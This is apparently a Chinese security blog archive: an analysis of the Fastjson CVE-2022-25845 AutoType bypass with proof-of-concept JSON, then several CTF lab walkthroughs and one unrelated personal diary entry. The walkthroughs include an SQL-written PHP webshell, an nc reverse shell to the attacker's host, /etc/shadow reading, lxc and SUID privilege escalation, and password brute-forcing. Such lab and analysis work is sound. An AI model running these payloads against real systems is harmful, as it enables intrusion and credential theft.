CVE-2022-25845 – Fastjson

CVE-2022-25845 – Fastjson “Auto Type Bypass” RCE漏洞分析

本文转自vayci

前言

几周前, Fastjson 发布了一个新版本 (1.2.83) ,其中包含一项安全漏洞修复。据称攻击者可以利用此漏洞在远程机器上执行代码。根据发布的多篇文章,攻击者通过漏洞可以绕过Fastjson中的“AutoTypeCheck”机制,完成远程代码执行。

这个 Fastjson 漏洞最近才收到一个 CVE 漏洞标识符 – CVE-2022-25845,以及高达8.1的CVSS漏洞评分。尽管如此,这个漏洞仍扑朔迷离。尽管这是被宣称为在无处不在的组件中存在的一个高危RCE漏洞(将近5000个Maven项目都存在Fastjson依赖!),却几乎没有任何关于它的公开技术细节。到底是哪里存在漏洞,又是在什么条件下容易被攻击?

在本篇文章中,我们深入研究了这个Fastjson漏洞的严重性,以及那些类型的Java应用程序受此影响。文末是给目前无法升级到指定Fastjson版本的开发人员的一些策略建议。

哪些情况会受到CVE-2022-25845漏洞的影响?

所有依赖 Fastjson 版本 1.2.80 或更早版本的程序,在应用程序中如果包含使用用户数据调用 JSON.parse 或 JSON.parseObject 方法,但不指定要反序列化的特定类,都会受此漏洞的影响。

image

虽然看起来很宽泛,但是我们可以发现,在这些前提条件下,攻击者也只能通过这个漏洞调用特定类型的Java反序列化gadget(继承Throwable类的gadget类),这大大限制了这个漏洞的实际影响。

技术深入探究

Fastjson 是一个 Java 库,可以将 Java 对象序列化和反序列化,实现Java对象和JSON的相互转换。

和大多数 JSON 类一样,Fastjson 支持将基本 JSON 类型(数组和对象)分别序列化和反序列化为它们的 Java 等价对象——Arrays 和 Maps。

然而,Fastjson也可以将用户的Java对象(POJO)序列化为JSON,或从JSON反序列化为Java对象。

例如,我们定义了一个名为User的类,以下代码时将其进行序列化为JSON,然后再进行反序列化。

1
2
3
4
5
6
7
8
9
public class App
{
public static void main( String[] args )
{
...
String jsonString = JSON.toJSONString(user);
User user2 = JSON.parseObject(jsonString, User.class);
}
}

JSON.parseObject()返回一个 JSONObject 对象, 然后这个对象又转换为User类。

有时候,开发人员想要更灵活的代码来接收序列化的JSON,告诉代码JSON应该被反序列化为哪种类。例如下面这种JSON形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
    "users": [
{
"@type": "AdminUser",
"username": "admin",
"password": "21232f297a57a5a743894a0e4a801fc3"
},
{
"@type": "GuestUser",
"username": "guest",
"password": ""
}
]
}

Fastjson 支持一个名为“AutoType”的功能。启用该功能后,可以为每个用户entry引入类型。开发人员只需要调用如下代码:

1
2
3
4
JSONObject obj = JSON.parseObject(jsonString, Feature.SupportAutoType);
JSONArray users = (JSONArray)obj.get("users");
// Users[0] is of class type "AdminUser"
// Users[1] is of class type "GuestUser"

但是,如果反序列化的JSON是用户可以控制的,则在启用AutoType的情况下对其进行解析可能会出现反序列化安全问题。因为攻击者可以实例化Classpath上可用的任意类,并为类的构造函数提供任意参数。这个问题已经被很多次证实确实可以利用,并且例如ysoserial之类的框架就存在这里攻击手段的风险(Java的“gadget”类)。

因此,Fastjson的开发者选择默认禁用了AutoType功能,这应该能够安全地解析人员JSON数据了。但是,AutoType的机制比这复杂得多…

绕过 AutoType 默认禁用策略

当JSON.parseObject()被调用时,它最终会调用到 DefaultJSONParser.parseObject(),并且传入参数 object 为 JSONObject,fieldName 为 null。当这个方法遇到“@type”这个符号(JSON.DEFAULT_TYPE_KEY)时,就会调用config.checkAutoType:

1
2
3
4
5
6
7
if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');

if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue;
}

最终,在所有flag都是默认的情况下,代码会调用至config.checkAutoType()。在这里,我们可以看到因为被列入黑名单而无法通过AutoType 机制实例化的类列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash == 0x90a25f5baa21529eL
|| expectHash == 0x2d10a5801b9d6136L
|| expectHash == 0xaf586a571e302c6bL
|| expectHash == 0xed007300a7b227c6L
|| expectHash == 0x295c4605fd1eaa95L
|| expectHash == 0x47ef269aadc650b4L
|| expectHash == 0x6439c4dff712ae8bL
|| expectHash == 0xe3dd9875a2dc5283L
|| expectHash == 0xe2a8ddba03e69e0dL
|| expectHash == 0xd734ceb4c3e9d1daL
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

这些被Ban的类是以下这些:

  • java.lang.Object
  • java.io.Serializable
  • java.lang.Cloneable
  • java.lang.Runnable
  • java.lang.AutoCloseable
  • java.io.Closeable
  • java.lang.Iterable
  • java.util.Collection
  • java.lang.Readable
  • java.util.EventListener

你也可以在 fastjson-blacklist 查看到更多被列入黑名单的类。这个仓库维护了被列入Fastjson黑名单的类的hash值。

最后,代码将尝试找到一个反序列化器deserializer,用来对这个已经被JSON序列化的类进行反序列化。

1
2
3
4
5
6
7
8
9
10
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);

在 ParserConfig.getDeserializer()内部,有一个关键检查,用于验证目标类是否继承了 Throwable 类:

1
2
} else if (Throwable.class.isAssignableFrom(clazz)) {
deserializer = new ThrowableDeserializer(this, clazz);

ThrowableDeserializer.deserialize()会处理这种数据。如果存在“@type”,它将使用 autoTypeCheck()检查并继续正常反序列化:

1
2
3
4
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
if (lexer.token() == JSONToken.LITERAL_STRING) {
String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

因此,漏洞的核心在于 ,只要目标类继承自 Throwable 类,Fastjson便可以反序列化为任意类!

在这种情况下,负责创建反序列化类的函数是 createException(),它处理了 3 种不同类型的构造函数。一个没有任何参数,一个带有异常消息的参数,一个带有异常消息和异常原因参数。在此之后,它将先尝试调用更为复杂的构造函数(causeConstructor、messageConstructor 和 defaultConstructor):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
Constructor<?> defaultConstructor = null;
Constructor<?> messageConstructor = null;
Constructor<?> causeConstructor = null;
for (Constructor<?> constructor : exClass.getConstructors()) {
Class<?>[] types = constructor.getParameterTypes();
if (types.length == 0) {
defaultConstructor = constructor;
continue;
}

if (types.length == 1 && types[0] == String.class) {
messageConstructor = constructor;
continue;
}

if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
causeConstructor = constructor;
continue;
}
}

if (causeConstructor != null) {
return (Throwable) causeConstructor.newInstance(message, cause);
}

if (messageConstructor != null) {
return (Throwable) messageConstructor.newInstance(message);
}

if (defaultConstructor != null) {
return (Throwable) defaultConstructor.newInstance();
}

作为类实例化的一步,还会为每个相关成员变量调用一个 setter方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if (otherValues != null) {
JavaBeanDeserializer exBeanDeser = null;

if (exClass != null) {
if (exClass == clazz) {
exBeanDeser = this;
} else {
ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass);
if (exDeser instanceof JavaBeanDeserializer) {
exBeanDeser = (JavaBeanDeserializer) exDeser;
}
}
}

if (exBeanDeser != null) {
for (Map.Entry<String, Object> entry : otherValues.entrySet()) {
String key = entry.getKey();
Object value = entry.getValue();

FieldDeserializer fieldDeserializer = exBeanDeser.getFieldDeserializer(key);
if (fieldDeserializer != null) {
FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
if (!fieldInfo.fieldClass.isInstance(value)) {
value = TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig());
}
fieldDeserializer.setValue(ex, value);
}
}
}
}

怎么利用 CVE-2022-25845 漏洞?

在了解了AutoType 机制中的上述“漏洞”之后,让我们看看一个在现实中利用这个漏洞的可行性。这个漏洞据称可以实现远程代码执行。

由 YoungBear 发布的漏洞利用方案,通过传入这个JSON可以运行任意系统操作命令。

1
2
3
4
5
{
"@type": "java.lang.Exception",
"@type": "com.example.fastjson.poc20220523.Poc20220523",
"name": "calc"
}

这个漏洞利用方案依赖于在 Java 应用程序中定义的下面这个继承Exception的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.example.fastjson.poc20220523;

import java.io.IOException;

/**
* @author youngbear
* @email youngbear@aliyun.com
* @date 2022/5/29 8:28
* @blog https://blog.csdn.net/next_second
* @github https://github.com/YoungBear
* @description POC类:需要代码中有该类
*/
public class Poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}

当反序列化执行到上面这一段JSON时,Poc20220523这个类就创建了,并且提供name参数是通过自动调用setter方法。

如代码所示,这将最终调用包含 str = “calc”的恶意 setName() setter 函数:

1
2
3
4
5
6
7
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}

这部分的实际代码内容为打开windows计算器:

image

这个漏洞利用方案显然只是一个演示,因为任何正常的 Java 应用程序都不会包含类似于 Poc20220523 这样会基于外部参数运行 shell 命令的异常派生类。

现在亟待解决的问题是 — 是否有大家熟知的 Java“gadget”类可以作为此漏洞的一部分被滥用?即继承自Exception或Throwable,并且存在相关的构造函数或者setter方法,可能会造成实际安全影响的Java类。

目前,有一个兼容的gadget类(来自 Selenium 库)已经在被发布了。它会导致非常低影响的数据泄漏:

1
2
3
4
5
6
7
8
9
{
"x":{
"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"
},
"y":{
"$ref":"$x.systemInformation"
}
}

反序列化这个 JSON 最终会创建一个 HashMap,其中“y”值为有关机器的一些基本信息:

1
"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"

根据应用程序的不同,这些信息最终可能会被存储或发送给攻击者(例如,它可能被写入可远程访问日志)。

在检查了 ysoserial 等其他知名来源后,我们没有发现任何可以在实际场景中能够导致远程代码执行的gadget类。因此,想要利用这个漏洞进行实际攻击的黑客,需要对被共计的Java应用服务器进行深入研究,以找到一个加载在Classpath中的自定义的Java gadget类。这个类继承自Exception/Throwable,并包含可用于获取权限、泄漏数据甚至运行任意代码的相关方法。

总而言之,我们评估目前这个漏洞似乎并未构成很高风险的威胁。尽管存在一个潜在影响巨大(远程代码执行)的公共PoC漏洞可利用,并且攻击的条件并不是甚微(将不受信任的输入数据传递给特定易受攻击的 API)。最重要的是,必须找到一个合适的gadget类(或许由于一些不太可能的属性根本不存在)来突破特定被攻击的目标。

如何完全修复 CVE-2022-25845?

要完全修复 CVE-2022-25845,我们建议将 Fastjson 升级到最新版本,目前为 1.2.83。

如何降低 CVE-2022-25845 风险?

启用 Fastjson 的“Safe Mode”可以减缓这个漏洞风险。

可以通过执行以下任何一种操作来开启Safe Mode:

1.通过代码配置 ParserConfig.getGlobalInstance().setSafeMode(true);
2.通过JVM启动参数配置 -Dfastjson.parser.safeMode=true
3.通过Fastjson的配置文件配置项 fastjson.parser.safeMode=true

Hacksudo Search

Hacksudo:Search

一、基本信息

名称:hacksudo:search

发布日期:2021.4.16

作者:Vishal Waghmare

系列:hacksudo

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:hacksudo-search.zip

文件大小:853MB

下载地址:

MD5: DA5AF5CA7DE9C5FE77CF351631D262A7

SHA1: 28C122BCBD488FFA4B9660123D0A07DAFD065581

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Search和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80端口,访问主页是一个搜索框,同时可以直接看到search.php:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.111 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现一个search1.php的文件,可以进行访问:

1
gobuster dir -u http://192.168.56.111/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

image-

发现文件包含漏洞

1.访问search1.php文件发现比search.php多了上栏,且通过修改About页地址me大小写,能够发现存在文件包含漏洞,在源码中也有提示:

image-

2.可以通过页面输出内容,也可用测试存在RFI:

image-

上传webshell

1.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,在同目录下kali开启http服务:

image-

image-

2.通过文件包含漏洞让靶机获取webshell,kali开启监听端口,访问触发,再用python构建交互式shell:

image-

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-

3.在/usr/www/html目录下能够发现一个.env文件,文件内有一个数据库用户和密码,但是无法登录:

image-

4.后来发现,这个密码是hacksudo用户ssh登录的密码,用户目录下user.txt即是第一个flag:

image-

root提权

1.进入hacksudo用户,查看具有root权限的suid文件,尝试提权:

1
find / -perm -u=s -type f 2>/dev/null

image-

2.查询到cpulimit文件,再去https://gtfobins.github.io/查询提权方式:

image-

3.成功登录root用户,在/root目录下发现flag,root.txt:

1
2
3
4
5
6
cd /tmp
echo '/bin/bash -i' > install
chmod +x install
cd ~/search/tools/
export PATH=/tmp/:$PATH
./searchinstall -p

image-

4.在/root目录下,可以找到flag,即root.txt:

image-

Hacksudo FOG

Hacksudo:FOG

一、基本信息

名称:hacksudo:FOG

发布日期:2021.5.14

作者:Vishal Waghmare

系列:hacksudo

二、靶机简介

Flags:

hacksudo:/flag1.txt
www-data:/var/www/flag2.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:hacksudo-FOG.zip

文件大小:1.3GB

下载地址:

MD5: FE8360E56637FE0D278EF2C38F15B969

SHA1: 31B1210F45C74D3062A0EDD5677C6BB770EB26AF

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机FOG和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放了很多端口,访问主页源码中隐藏了一个index1.html:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.112 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,index1.html提示我们一个音频文件提取工具:

1
gobuster dir -u http://192.168.56.112/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

image-

CMS漏洞利用

1.我们将提示的解析工具下载下来,尝试用工具解析index.html页的smoke.mp4,但不是wav格式没有信息:

1
2
3
4
git clone https://github.com/hacksudo/SoundStegno.git,获取工具
cd SoundStegno
wget http://192.168.56.112/smoke.mp4
python3 ExWave.py -f smoke.mp4

image-

2.通过之前的目录扫描,我们发现有cms页面和一个dict.txt文件:

image-

image-

3.将dict.txt文件下载,很可能是密码字典,再去查询cms的漏洞,发现是2.2.5版本,有未经身份验证的SQL注入漏洞可以使用:

1
2
wget http://192.168.56.112/dict.txt
whatweb http://192.168.56.112/cms,查看框架版本

image-

1
python3 cmsmadesimple-exploit.py -u http://192.168.56.112/cms,漏洞利用程序获取见:https://gist.github.com/kriss-u/321f0418778697e2ec919f04664ceb4b

image-

4.知晓了用户名,写入user,可以尝试使用hydra爆破密码,登录FTP:

1
hydra -L user -P dict.txt 192.168.56.112 ftp

image-

FTP登录,提取音频隐藏信息

1.可以使用hacksudo用户FTP登录,获取到第一个flag,即flag1.txt:

image-

image-

2.进入hacksudo_ISRO_bak目录,发现secr3tSteg.zip文件,需要密码,我们用zip2john配合john获得密码:

image-

1
zip2john secr3tSteg.zip >> hash.txt

image-

image-

3.解压得到的hacksudoSTEGNO.wav可以使用SoundStegno进行解密:

1
python3 ExWave.py -f hacksudoSTEGNO.wav

image-

4.根据之前index1.html页源码的提示,需要用到caesar-cipher解密,我们解密这个数据可以得到一个用户名密码,这个用户与密码可用于登录cms后台:

image-

image-

文件上传漏洞GETSHELL

1.进入cms后台的content页,可以上传phtml文件后缀的webshell,这里我们使用kali自带的webshell进行修改后上传:

1
vim /usr/share/webshells/php/php-reverse-shell.php

image-

image-

2.kali开启对应端口监听,触发webshell,利用python生成交互式shell:

1
python3 -c 'import pty; pty.spawn("/bin/bash");'

image-

3.在/var/www目录下能发现第二个flag,即flag2.txt:

image-

初步提权,SSH登录

1.查看具有root权限的suid文件,尝试提权,发现/usr/bin/look:

1
find / -perm -u=s -type f 2>/dev/null

image-

image-

2.通过在https://gtfobins.github.io/上查找发现可以使用look查看具有root权限的文件,则用look查看/etc/shadow可以发现root及isro用户的密码hash,使用john解一下:

image-

image-

image-

3.爆出isro用户密码为qwerty,可以进行ssh登录,然后在目录下查看到user.txt:

image-

root提权

1.我们进入/fog目录下,发现有一个fog文件属主为root,查看不出来,但是执行后与python2.7相关联,则可以通过python进行root提权:

image-

image-

2.在/root目录下的root.txt即是我们需要的最后一个flag:

image-

Hacksudo Aliens

Hacksudo:Aliens

一、基本信息

名称:hacksudo:aliens

发布日期:2021.4.4

作者:Vishal Waghmare

系列:hacksudo

二、靶机简介

Flags:

root:/root/root.txt

难度:中等

三、文件信息

文件名:HacksudoAliens.zip

文件大小:2.3GB

下载地址:

MD5: DEFA809B70DADCC72011AAFBB03D1FF6

SHA1: 6E68D6D06692D2C3ACBC1E1C3AEA271A226CD24D

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Aliens和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放22,80,9000端口,访问主页,源码内有没有过多提示:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.110 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,两个目录,访问/backup目录,下面mysql.bak文件内有用户和密码:

1
gobuster dir -u http://192.168.56.110/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

image-

image-

登录phpadmin,写入shell

1.因为端口扫描到了9000端口是phpadmin的服务,利用刚才mysql.bak内的账号密码可成功登录:

image-

2.可以查看secure_file_priv的值为空,mysql可读可写,可以先用一句话php木马尝试,这里直接写入shell,在kali同步开启监听:

1
SHOW VARIABLES LIKE "secure_file_priv";

image-

1
SELECT “<?php system($_GET[‘cmd’]);?>” INTO OUTFILE “/var/www/html/alien.php”,一句话木马

image-

1
http://192.168.56.110/alien.php?cmd=nc%20192.168.56.102%20%208989%20%20-e%20/bin/bash,浏览器输入payload,kali同步开启8989端口监听

image-

root权限文件查询,准备提权

1.查找具有root权限的suid文件,进行suid提权:

1
find / -perm -u=s -type f 2>/dev/null

image-

2.访问https://gtfobins.github.io/,对查到的内容进行比对尝试提权:

image-

1
2
LFILE=/etc/shadow
date -f $LFILE

image-

3.很明显得到的数据是hacksudo及其密码,将字符串拷贝到alien.txt,我们利用john对其解密:

image-

root提权

1.进入hacksudo用户,再次查看具有root权限的suid文件,尝试提权:

image-

2.查询到cpulimit文件,再去https://gtfobins.github.io/查询提权方式:

image-

image-

3.成功登录root用户,在/root目录下发现flag,root.txt:

image-

繭色

繭色

image

等待了接近一周的简历投递终于陆续开始有了回应,明天就要先接受 XF 的面试了,当然是希望通过的,亦希望能够顺利与 WW 会师……

转眼一想,自己已经来到上海快整整一年了,时光飞逝,可惜公司楼下对角的那家居酒屋始终只是停留在了“透过帘布,往酒绿灯红中看了一眼”的程度,莫名可惜。

「若非前述情境,理应还有机会」

这篇文章叫“繭色”(茧色),是因为在写这篇时刚好随机到《在地下城寻求邂逅是不是搞错了什么》第三季第八话的插入曲,名为《繭色》。

Hackable 3

Hackable III

一、基本信息

名称:Hackable III

发布日期:2021.6.2

作者:Elias Sousa

系列:Hackable

二、靶机简介

Flags:

root:/mnt/root/root/root.txt

难度:中等

三、文件信息

文件名:hackable3.ova

文件大小:1.6GB

下载地址:

MD5: 11855876A01867E9B79D6D5536F89DC0

SHA1: F5F200B85774430E0437F786DE11D20A5A022D33

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Hackable III和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,可以发现只开放了80端口,其中有一个http-robots.txt:

1
nmap -sC -A -p- 192.168.56.103,端口扫描

image-

3.最后再进行一下目录扫描,发现一些目录,但是没有太多的可用信息:

1
dirb http://192.168.56.103,目录扫描

image-

访问主页,信息提取解密

1.对靶机主页进行访问,查看源码发现提示:

image-

2.提示告知我们可能要用到端口knocking及图片隐写的技术,并且获得了jubiscleudo这个用户名,结合提示上方的login页,可以尝试使用sql注入,但发现其实直接登录也会跳转,虽然是空白页,但是可以查看源码:

image-

image-

3.我们在源码里发现了一个图片指示,结合之前的提示涉及图片隐写,可以把图片获取下来,用steghide分离一下隐藏内容:

image-

1
steghide extract -sf 3.jpg,分离出文本

image-

4.这样我们的得到了第一个端口号,我们返回主页,去/config目录下查看,只有一个1.txt,里面是base64编码的10000,如此我们得到第二个端口:

image-

image-

5.同样,我们去/css目录下查看,发现有2.txt,是brainfuck编码的4444,这就是第三个端口号:

image-

image-

6.而/backup目录下有一个wordlist.txt,很像密码字典,我们把这个字典获取,等下可以进行爆破:

1
wget http://192.168.56.103/backup/wordlist.txt,获取密码字典

image-

SSH登录

1.利用三个端口号进行knocking,可以发现ssh已经开放:

1
2
knock 192.168.56.103 10000 4444 65535,knock
nmap -p22 192.168.56.103,查看22端口状态

image-

2.利用wordlist.txt密码字典对jubiscleudo用户使用hydra进行爆破,登录ssh:

1
hydra -l jubiscleudo -P wordlist.txt 192.168.56.103 ssh

image-

1
ssh jubiscleudo@192.168.56.103,ssh登录

image-

二进制提权

1.利用jubiscleudo帐户,我们能查看/var/www/html目录下.backup_config.php文件,可以发现用户hackable_3及其密码:

image-

2.登录hackable_3,查看组,发现二进制文件lxc和lxd可用:

image-

3.我们可以利用alpine进行提权,系列命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Kali:
把准备好的alpine压缩包传上靶机,命令如下:
scp /tmp/alpine-minirootfs-3.14.1-x86_64.tar.gz hackable_3@192.168.56.103:/tmp/

hackable_3:
cd /tmp
lxc image import ./ alpine-minirootfs-3.14.1-x86_64.tar.gz –alias fasto
lxc image list
lxd init
lxc init fasto groot -c security.privileged=true
lxc config device add groot mydevice disk source=/ path=/mnt/root recursive=true

lxc start groot
lxc exec groot /bin/sh

image-

image-

4.在/mnt/root/root目录下,可以发现root.txt,即flag:

image-

Hackable 2

Hackable II

一、基本信息

名称:Hackable II

发布日期:2021.6.15

作者:Elias Sousa

系列:Hackable

二、靶机简介

Flags:

shrek:/~/user.txt
root:/root/root.txt

难度:简单

三、文件信息

文件名:hackableII.ova

文件大小:1.4GB

下载地址:

MD5: EE4F408BA953E626E3852CFEC7ACEFA3

SHA1: 89B1FDF9FCDCC5D2FBB736318CCC77E9F25D1C06

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Hackable II和攻击机kali2021在VirtualBox下设置为仅主机模式(Vmware可能会无法获取网络),使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,可以发现开放了21,22,80端口,其中21端口可以使用anonymous身份进行登录:

1
nmap -sC -A -p- 192.168.56.101,端口扫描

image-

3.最后再进行一下目录扫描,发现/files目录下有一个CALL.html,但是没有太多的可用信息:

1
dirb http://192.168.56.101,目录扫描

image-

image-

登录Ftp,上传webshell

1.使用anonymous直接登录ftp,发现当前目录可写:

1
ftp open 192.168.56.101

image-

2.则可上传webshell,这里利用kali自带的webshell简单修改后上传:

1
vim /usr/share/webshells/php/php-reverse-shell.php,修改ip为kali的ip

image-

1
put php-reverse-shell.php,ftp上传webshell,要在/usr/share/webshells/php/目录下

image-

3.kali开启监听,从靶机/files目录下访问webshell,得到shell:

1
nc -lvnp 9001,利用刚才设定的端口

image-

image-

目录搜索,进行提权

1.可以对/home目录进行一下搜寻,发现important.txt的文件,提示我们去运行.runme.sh,并得到用户名和md5后的密码:

image-

2.通过对密码的md5破解,其实就可以登录shrek,ssh登录后,可以查看shrek /home目录下的文件user.txt:

image-

image-

3.再来看看能从什么地方进行提权,发现可以直接使用python:

1
sudo -l

image-

1
sudo /usr/bin/python3.5 -c 'import os;os.system("/bin/sh")',直接提权

image-

4.最后在/root目录下,发现root.txt,即flag:
image-

Grotesque 2

Grotesque:2

一、基本信息

名称:Grotesque:2

发布日期:2021.3.30

作者:tasiyanci

系列:Grotesque

推特:@tasiyanci

二、靶机简介

Flags:

angel:/~/user.txt
root:/root/root.txt

难度:简单

三、文件信息

文件名:grotesque2_vh.ova

文件大小:824MB

下载地址:

MD5: 57A2630C846D285B1390789D2D5B1C3D

SHA1: B6FA719ACA753E479DC5D3425B0C7A4435019C59

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机grotesque2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放了很多端口,看来是做迷惑,访问主页,源码只有js内容:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.109 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现也是很多目录且无法对应端口,没办法,把全部的index页获取下来,按大小排序,找寻线索:

1
gobuster dir -u http://192.168.56.109/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –wildcard switch,目录扫描

image-

1
for i in {23..600}; do wget 192.168.56.109:$i -O index$i; done,获取各端口index

image-

1
ls -la | sort,排序文件,最大是index258

image-

发现目标页

1.访问一下大小最大的页面192.168.56.108:258,页面提示我们ssh用户名,我们查看页面源码,发现ok的emoji其实是一张图片:

image-

2.将emoji的图片下载,放大后得到一串类似md5的字串,直接md5无法解出,但是页面有提示我们-100,得到ssh密码:

1
wget http://192.168.56.109:258/emoji/hand.png

image-

image-

image-

SSH登录

1.通过刚才的ssh用户名提示,我们可以试出是用户angel的密码,也可以使用hydra进行爆破,将ssh用户统一写入use.txt:

1
hydra -L use.txt -p solomon1 ssh://192.168.56.109

image-

image-

2.登录后在目录下发现第一个flag,user.txt:

image-

pspy64s 监控进程,获取flag

1.进入quiet文件夹,发现大量数字命名文件,用pspy64s进行进程监控,发现有定时任务的读写检查:

image-

1
2
3
4
python3 -m http.server 8001,kali开启http服务
wget http://192.168.56.102:8001/pspy64s,angel获取pspy64s工具
chmod +x pspy64s,给予执行权力
./pspy64s,开启进程监听

image-

image-

2.删去quiet目录下所有文件,让定时任务执行后,进一步查看,发现rootcreds.txt,可以获得root的密码:

1
2
rm -rf *,删除后根据进程定时大概要等待一段时间再查看
ls -la /

image-

image-

3.登录root用户,在/root目录下发现第二个flag,root.txt:

image-

Grotesque 1

Grotesque:1.0.1

一、基本信息

名称:Grotesque:1.0.1

发布日期:2021.3.10

作者:tasiyanci

系列:Grotesque

推特:@tasiyanci

二、靶机简介

Flags:

raphael://user.txt
root:/
/root.txt

难度:中等

三、文件信息

文件名:grotesque_vh-1.0.1.ova

文件大小:672MB

下载地址:

MD5: 7E73878BDB1251D1DADC4CC49F5BAD68

SHA1: 778CF0A9721E530587C78DD198039297C7BB16AB

四、镜像信息

